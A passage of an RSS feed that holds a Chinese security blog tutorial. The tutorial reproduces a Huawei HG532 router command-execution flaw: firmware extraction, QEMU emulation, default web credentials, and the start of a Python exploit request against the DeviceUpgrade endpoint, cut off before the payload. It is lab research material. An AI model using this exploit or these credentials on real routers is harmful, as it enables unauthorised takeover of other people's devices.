src="https://wechat2rss.xlab.app/img-proxy/?k=2b5160c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOff9szInMwnjic9wDFQryX3VdHLr5r1VepL0Wkcpl2uIwGj4GxvqCdWA%2F640%3Fwx_fmt%3Dpng"/></span></a></p>



<p><a href="2247488569">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=32d47ec5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247488569%26idx%3D1%26sn%3D7998c82f61a4e821f7e8fb11bb1dc190%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 28 Jun 2021 20:01:00 +0800</pubDate>
    </item>
    <item>
      <title>复现｜路由器命令执行</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247488528&amp;idx=1&amp;sn=d9780cdaec8cd32b7c6ea575366d8f66</link>
      <description>快来跟我们一起复现漏洞吧～</description>
      <content:encoded><![CDATA[<p>
原创 <span>小R同学</span> <span>2021-06-23 17:00</span> <span style="display: inline-block;"></span>
</p>

<p>快来跟我们一起复现漏洞吧～</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b23b78d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPY9RkY0Tx7x6VaJkDY0Pia0TXyZG57icWLQg0OOsseNsdE74NvVv7bjcTDB524G4SLRWIXib9QsQbOmQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;" data-mpa-powered-by="yiban.io"><img class="rich_pages" data-galleryid="" data-ratio="0.42709163346613543" data-s="300,640" style="" data-type="png" data-w="1255" src="https://wechat2rss.xlab.app/img-proxy/?k=d183db79&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY9RkY0Tx7x6VaJkDY0Pia0TKfqXoCkU5qA7q0QicH1Gmk7PWxgZdrvj0iagbTiaxPichUNX66uES6lKBA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">上次有小伙伴反馈说，摄像头的仿真部分写的不详细，正好最近在先知上看到了ONESHELL师傅的文章<strong>「见参考链接1」</strong>，所以今天我们就以这台路由器为例子，使用QEMU仿真模拟并分析该漏洞的成因<strong>「固件下载后台回复： </strong></span><span style="font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(255, 0, 0);"><strong> 华为路由器  </strong></span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><strong>」</strong></span><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><strong>!!文末另有</strong></span></span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);color: rgb(255, 41, 65);"><strong>福利</strong></span></span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><strong>哦!!</strong><br/></span></span></p><p style="font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;"><strong><span style="font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);color: rgb(255, 41, 65);">转发本文到朋友圈、参与抽奖获取</span></strong><span style="font-size: 18px;"><strong><span style="font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);color: rgb(255, 41, 65);">同款路由器</span></strong></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">1 解压固件</span><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></span></p><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">尝试binwalk提取文件系统：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">binwalk</span> <span class="code-snippet__selector-tag">-Me</span> <span class="code-snippet__selector-tag">HG532eV100R001C01B020_upgrade_packet</span><span class="code-snippet__selector-class">.bin</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.36177884615384615" data-s="300,640" style="" data-type="png" data-w="1664" src="https://wechat2rss.xlab.app/img-proxy/?k=31e96354&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuO6ticpCuVavu77uf7juJd8bb4CNY2tUZ40hgAHS04LIZdfb7A7xaVUmQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">解压出来的有很多文件，最主要的就是squashfs文件系统这个文件夹</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.12830957230142567" data-s="300,640" style="" data-type="png" data-w="982" src="https://wechat2rss.xlab.app/img-proxy/?k=977af44f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuO7icd7uIJaPlNwQP6BFtWyeslYicWA08BMJ18jq63jOf8LSyBTZPeL0yQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><br/></p><p style="text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">2 模拟仿真</span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">首先在解包的文件系统中找一个可执行文件，使用file命令查看一下系统架构等信息</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.15044814340588988" data-s="300,640" style="" data-type="png" data-w="1562" src="https://wechat2rss.xlab.app/img-proxy/?k=2cf4cc00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuONgGLUBmHWxeic85dse0LLr7rbaZLicCJBcV2N3SnBysauX3FagVjfgBg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">如上图所示，可以知道该系统为MIPS架构，因此我们在启动QEMU的时候需要使用MIPS的内核以及文件系统：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.24504084014002334" data-s="300,640" style="" data-type="png" data-w="857" src="https://wechat2rss.xlab.app/img-proxy/?k=8efa4eb0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOPSVeTsQCnqiaeQTic3NNE1NcM0gba7YaCxR0p42ajTFwLtS5g5jA19OA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">下载地址：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//people.debian.org/~aurel32/qemu/mips/</span></span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">因为我们期望宿主机能够和QEMU仿真机处在同一个网络环境中，所以我们要对网络进行设置，首先是在宿主机中配置tap网络：</span><span style="white-space:pre-wrap;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-size: 14px;text-align: left;background-color: rgba(0, 0, 0, 0.03);"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">sudo tunctl -t tap0 -u root</span></code><code><span class="code-snippet_outer">sudo ifconfig tap0 <span class="code-snippet__number">192.168</span><span class="code-snippet__number">.3</span><span class="code-snippet__number">.1</span>/<span class="code-snippet__number">24</span></span></code><code><span class="code-snippet_outer">sudo ifconfig</span></code></pre></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7812097812097812" data-s="300,640" style="" data-type="png" data-w="777" src="https://wechat2rss.xlab.app/img-proxy/?k=259ead01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuO9MMZB32EqnicrQBkZXYFgt0EcD8uHwkRY0Uvic6K9icjMD3c0ZWc6BoAw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">接下来启动QEMU：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">sudo</span> qemu-system-mips -M malta -kernel ./vmlinux-<span class="code-snippet__number">3</span>.<span class="code-snippet__number">2</span>.<span class="code-snippet__number">0</span>-<span class="code-snippet__number">4</span>-4kc-malta -hda ./debian_wheezy_mips_standard.qcow2 -append <span class="code-snippet__string">&#34;root=/dev/sda1 console=tty0&#34;</span> -net nic -net tap,ifname=tap0,script=<span class="code-snippet__literal">no</span>,downscript=<span class="code-snippet__literal">no</span> -nographic -s</span></code></pre></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5149253731343284" data-s="300,640" style="" data-type="png" data-w="1206" src="https://wechat2rss.xlab.app/img-proxy/?k=7eba0489&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOO6hCYFlY6fNFRc3Qsl8qx4kzK1Ekx8KfZhiac9Rov0QWq3UScBFG8LA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">账号密码均为root</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.34691011235955055" data-s="300,640" style="" data-type="png" data-w="712" src="https://wechat2rss.xlab.app/img-proxy/?k=1cf9b326&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOPcVAEhlkklh9VMmpjj1qjMYKadhMyzHkiaLvEVKuHWqbM3YoGBVjl9w%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">给qemu中的仿真机设置IP地址</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5459459459459459" data-s="300,640" style="" data-type="png" data-w="740" src="https://wechat2rss.xlab.app/img-proxy/?k=2707b61a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuO7iaZLdZRcgk6A1SuMUDuFnNOg0UCvPibDB65vZeY5VBibU6Q4NkzeEhqw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">为了方便上传解包的文件系统，我们这里先用tar将文件系统打包</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.33297529538131043" data-s="300,640" style="" data-type="png" data-w="931" src="https://wechat2rss.xlab.app/img-proxy/?k=733a5078&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOWWibPh8A9bkf3Q6kb3cbfydyLxKjpRGe2QyrtGgN7RnjV9HCacI8uuw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">使用SCP传输文件</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.15104740904079383" data-s="300,640" style="" data-type="png" data-w="907" src="https://wechat2rss.xlab.app/img-proxy/?k=414fd7a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOMeb3UtVxR3icJLkqyWhiafhAiaX8oaw2pa4l6rZtwzNAgxlVhNjOyqeqw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">在QEMU仿真机中解压</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.37703141928494044" data-s="300,640" style="" data-type="png" data-w="923" src="https://wechat2rss.xlab.app/img-proxy/?k=1edcd477&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuO4iaFJDWe3CbrlxT0ZRB3EJ7MHyn5Xoc5FDmXbExP7wzHdXyImgDD60A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">挂载固件文件系统中的proc目录和dev目录到chroot环境，因为proc中存储着进程所需的文件，比如pid文件等等，而dev中存储着相关的设备</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">mount</span> <span class="code-snippet__string">-o bind /dev ./squashfs-root/dev</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">mount</span> <span class="code-snippet__string">-t proc /proc ./squashfs-root/proc/</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">chroot</span> <span class="code-snippet__string">./squashfs-root/ sh</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3085234093637455" data-s="300,640" style="" data-type="png" data-w="833" src="https://wechat2rss.xlab.app/img-proxy/?k=9789bfba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuO1J4FUsfYmaoEDE1SQBYkIkDhH1cgSHRUUoutVTXd7HmZoiclhNeVU0Q%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">通过ssh连接qemu，并启动路由器「此处需要再次执行chroot」</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4901315789473684" data-s="300,640" style="" data-type="png" data-w="912" src="https://wechat2rss.xlab.app/img-proxy/?k=fa316996&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOYLvmZdByOMP2FUiaX3LHFQvhqzicPG3566UTibHoK3vicWjFVpNwbpuJ6w%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">启动路由器</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.44324324324324327" data-s="300,640" style="" data-type="png" data-w="925" src="https://wechat2rss.xlab.app/img-proxy/?k=d31f9b2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOGibSK6ga3iaAQgLkZSF3TEE5SAwUJ3fRImz1O7jhd9z1hwZj6EhGibrMA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">通过之前的qemu终端我们可以查看到ip地址已经发生变化，因此sh登陆的链接已经被断开，所以我们这里再将IP地址修改回来</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6698113207547169" data-s="300,640" style="" data-type="png" data-w="848" src="https://wechat2rss.xlab.app/img-proxy/?k=749b4c46&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY9RkY0Tx7x6VaJkDY0Pia0TLxNibvict4XTclyxQwPkYKtmIuC0PyR3eQXcQA6OzCEoU0lVLwQwkJ1Q%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">这个时候再使用浏览器访问192.168.3.2即可</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6715724244771495" data-s="300,640" style="" data-type="png" data-w="1291" src="https://wechat2rss.xlab.app/img-proxy/?k=281c003c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY9RkY0Tx7x6VaJkDY0Pia0TrIwRYWqYdo7KrFB8yMmH8OspjicKtLwfJFjvwP2WeHEGufVnElRRDBw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">账号密码分别为：admin / @Hua1234，存在于固件压缩包的账号密码文件内：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.35470668485675305" data-s="300,640" style="" data-type="png" data-w="733" src="https://wechat2rss.xlab.app/img-proxy/?k=6914bcbc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY9RkY0Tx7x6VaJkDY0Pia0TDBYtRnMkjBzXUBLjWkgvH0LlsqCbiaUEULwMVUqpa5G5pQR551ue2MA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">3 漏洞复现</span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">根据网上的复现文章，payload如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">import requests </span></code><code><span class="code-snippet_outer">headers = {</span></code><code><span class="code-snippet_outer">    &#34;Authorization&#34;: &#34;Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, 